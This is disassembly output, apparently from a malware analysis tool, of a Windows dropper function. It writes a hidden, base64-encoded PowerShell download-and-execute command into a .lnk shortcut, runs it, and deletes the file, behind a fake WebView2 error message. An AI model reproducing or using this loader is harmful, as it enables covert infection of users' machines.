Function at 0x140010310
Capabilities:
Create shortcut via ishelllink
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x250]
sub rsp, 0x350
mov rax, qword [0x140021010]
xor rax, rsp
mov qword [rbp + 0x240], rax
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x14001090a
xor r13d, r13d
mov qword [rsp + 0x58], r13
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
lea r9, [0x140018848]
xor edx, edx
lea r8d, [r13 + 1]
lea rcx, [0x140015798]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1400108ee
lea rcx, [rbp + 0x10]
call fcn.14000ffb0
nop
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x40], r13
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], r13w
lea r8d, [r13 + 0x20]
lea rdx, str.powershell__w_h__Nop__NonI__enc
lea rcx, [rbp - 0x50]
call fcn.14000cfa0
nop
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x60], r13
mov qword [rbp - 0x58], 7
mov word [rbp - 0x70], r13w
mov r8d, 0x12c
lea rdx, str.aQB3AHIAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAAIgBoAHQAdABwAHMAOgAvAC8AcgBhAHcALgBnAGkAdABoAHUAYgB1AHMAZQByAGMAbwBuAHQAZQBuAHQALgBjAG8AbQAvAGYAcgBlAGoAYQBzAG8AbgAvAG0AZQB0AGEAbQBhAHMAawAtAGQAZQBzAGsAdABvAHAALwBtAGEAaQBuAC8AcwBjAHIAaQBwAHQAcwAvAHIAZQBhAGQAbQBlAC4AdAB4AHQAIgAgAHwAIABpAGUAeAA
lea rcx, [rbp - 0x70]
call fcn.14000cfa0
nop
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
mov r15, qword [rbp - 0x40]
sub rax, r15
mov r12, qword [rbp - 0x60]
cmp rax, r12
jb 0x140010940
lea rdx, [rbp - 0x50]
mov rsi, qword [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae rdx, rsi
mov qword [rsp + 0x50], rdx
lea rax, [rbp - 0x70]
mov r14, qword [rbp - 0x70]
cmp qword [rbp - 0x58], 8
cmovae rax, r14
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
lea r13, [r15 + r12]
mov ebx, 7
lea rdi, [rsp + 0x30]
cmp r13, rbx
jbe 0x1400104f9
mov rbx, r13
or rbx, 7
cmp rbx, rcx
jbe 0x14001046f
mov rbx, rcx
jmp 0x14001047b
mov eax, 0xa
cmp rbx, rax
cmovb rbx, rax
mov rax, rbx
add rax, 1
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
movabs rcx, 0x7fffffffffffffff
cmp rax, rcx
ja 0x14001093a
lea rcx, [rax + rax]
cmp rcx, 0x1000
jb 0x1400104de
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14001093a
mov rcx, rax
call fcn.140012bd4
test rax, rax
je 0x140010808
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
mov rdx, qword [rsp + 0x50]
jmp 0x1400104f4
test rcx, rcx
je 0x1400104f2
call fcn.140012bd4
mov rdi, rax
mov rdx, qword [rsp + 0x50]
jmp 0x1400104f4
xor edi, edi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], rbx
lea rbx, [r15 + r15]
mov r8, rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbx + rdi]
lea r8, [r12 + r12]
mov rdx, qword [rbp - 0x78]
call sub.VCRUNTIME140.dll_memcpy
xor eax, eax
mov word [rdi + r13*2], ax
lea r8, [rbp + 0x10]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x10]
call fcn.14000fd50
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x14001057f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001057a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400107b4
call fcn.140012e74
lea r8, [rbp + 0x10]
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x30]
call fcn.14000fd50
nop
xor r13d, r13d
mov qword [rsp + 0x68], r13
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], 7
mov word [rsp + 0x68], r13w
lea r8d, [r13 + 0x14]
lea rdx, str.C:WindowsSystem32_
lea rcx, [rsp + 0x68]
call fcn.14000cfa0
nop
mov rcx, qword [rsp + 0x78]
mov rdx, qword [rbp - 0x80]
mov rax, rdx
sub rax, rcx
cmp rax, 0x25
jb 0x14001060a
lea rdi, [rcx + 0x25]
mov qword [rsp + 0x78], rdi
lea rbx, [rsp + 0x68]
cmp rdx, 8
cmovae rbx, qword [rsp + 0x68]
lea rcx, [rbx + rcx*2]
lea r8d, [r13 + 0x4a]
lea rdx, str.WindowsPowerShell_v1.0powershell.exe
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2], r13w
jmp 0x140010629
mov qword [rsp + 0x20], 0x25
lea r9, str.WindowsPowerShell_v1.0powershell.exe
mov edx, 0x25
lea rcx, [rsp + 0x68]
call fcn.14000dbb0
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], 8
cmovae rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx]
call qword [rax + 0xa0]
lea rdx, [rbp - 0x30]
cmp qword [rbp - 0x18], 8
cmovae rdx, qword [rbp - 0x30]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx]
call qword [rax + 0x58]
mov qword [rsp + 0x60], r13
mov rcx, qword [rsp + 0x58]
mov rax, qword [rcx]
lea r8, [rsp + 0x60]
lea rdx, [0x140018858]
call qword [rax]
test eax, eax
js 0x140010710
mov qword [rsp + 0x50], r13
mov qword [rbp - 0x78], r13
lea r8, str.USERPROFILE
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__wdupenv_s]
mov r9, qword [rsp + 0x50]
test r9, r9
je 0x140010710
lea r8, str._wsDocumentspresentation.lnk
mov edx, 0x104
lea rcx, [rbp + 0x30]
call fcn.14000f690
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
mov r8d, 1
lea rdx, [rbp + 0x30]
call qword [rax + 0x30]
test eax, eax
js 0x140010704
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [rbp + 0x30]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rcx, [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
nop
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140010726
mov qword [rsp + 0x60], r13
mov rax, qword [rcx]
call qword [rax + 0x10]
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, 8
jb 0x14001076a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010765
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010765
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012e74
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], 7
mov word [rsp + 0x68], r13w
mov rdx, qword [rbp - 0x18]
cmp rdx, 8
jb 0x1400107c0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400107bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400107bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012e74
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], 7
mov word [rbp - 0x30], r13w
mov rdx, qword [rbp + 8]
cmp rdx, 8
jb 0x140010814
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001080f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001080f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012e74
mov qword [rbp], r13
mov qword [rbp + 8], 7
mov word [rbp - 0x10], r13w
mov rax, qword [rbp - 0x58]
cmp rax, 8
jb 0x140010868
lea rdx, [rax*2 + 2]
mov rax, r14
cmp rdx, 0x1000
jb 0x14001085f
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001085f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r14
call fcn.140012e74
nop
mov rax, qword [rbp - 0x38]
cmp rax, 8
jb 0x1400108ab
lea rdx, [rax*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x1400108a2
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400108a2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140012e74
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 8
jb 0x1400108ee
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400108e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400108e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140012e74
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
mov rcx, qword [rsp + 0x58]
test rcx, rcx
je 0x14001090a
mov qword [rsp + 0x58], r13
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x240]
xor rcx, rsp
call fcn.140012940
lea r11, [rsp + 0x350]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011e0
nop
call fcn.140001280
int3
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ebx, edx
mov rdi, rcx
call fcn.1400040b0
test eax, eax
jne 0x14001099f
nop dword [rax + rax]
mov r9d, 1
lea r8, str.Error
lea rdx, str.Failed_to_launch_the_window._Please_ensure_WebView2_Runtime_is_installed_correctly.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 1
jne 0x1400109ae
mov edx, ebx
mov rcx, rdi
call fcn.1400040b0
test eax, eax
je 0x140010970
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x140010310
xor ecx, ecx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.USER32.dll_PostQuitMessage]
movzx ebp, byte [rsp + rcx]
xor ecx, esp